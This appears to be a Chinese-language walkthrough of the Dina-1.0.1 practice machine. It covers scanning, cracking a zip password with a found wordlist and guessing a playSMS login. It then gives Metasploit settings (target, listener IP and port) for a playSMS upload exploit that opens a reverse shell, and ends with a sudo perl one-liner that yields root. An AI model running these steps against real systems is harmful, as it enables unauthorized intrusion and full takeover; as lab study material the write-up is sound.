getshell
1.查看Dina-1-0-1靶机的mac地址
2.主机发现
3.端口扫描
4.访问80端口
5.目录扫描
6.访问robots
7.尝试到拼接/nothing得到一个密码本
8.拼接/secure得到一个压缩文件
9.通过kali下载下来解压他发现需要密码
10.刚才得到的密码本使用一个一个密码尝试登录发现运气不错第一个密码就成功了,成功解压
11.发现是mp3文件,尝试打开它
12.提示这似乎是一个文本文件,使用文本打开它
13.看图内容拼接/SecreTSMSgatwayLogin
14.发现有登录页面并且也给了用户名密码尝试那个密码本试试最后尝试出来是diana
15.发现是playSMS框架 使用kali搜索一波
searchsploit playsms
16.将42044.txt 复制到/home/kali
cp /usr/share/exploitdb/exploits/php/webapps/42044.txt /home/kali
17.查看42044.txt文件
按照文档说明,我们可以生成一个csv文件,抓包传参;文档中给出了上传的脚本和信息,可以在user-agent中执行命令;并且那么我们就可以在playsms框架上寻找到可以upload(文件上传)的地址,上传CSV文件,利用burp抓包修改参数,从而getshell;
18.使用msf查看框架漏洞
msfconsole
search playsms
19.使用漏洞2并show options
use 2
show options
20.配置
set PASSWORD diana
set USERNAME touhid
set TARGETURI SecreTSMSgatwayLogin (TARGETURI是上传文件页面的URI)
set RHOST 192.168.42.181(靶机ip)
set LHOST 192.168.42.128(kali监听机的ip)
set LPORT 9797(kali监听的端口)
21.执行
22.不能执行命令,输入shell
提权
1.输入sudo -l 查看可提权文件
2.通过辅助网址查找
3.执行命令
sudo perl -e 'exec "/bin/sh";'
发现提权成功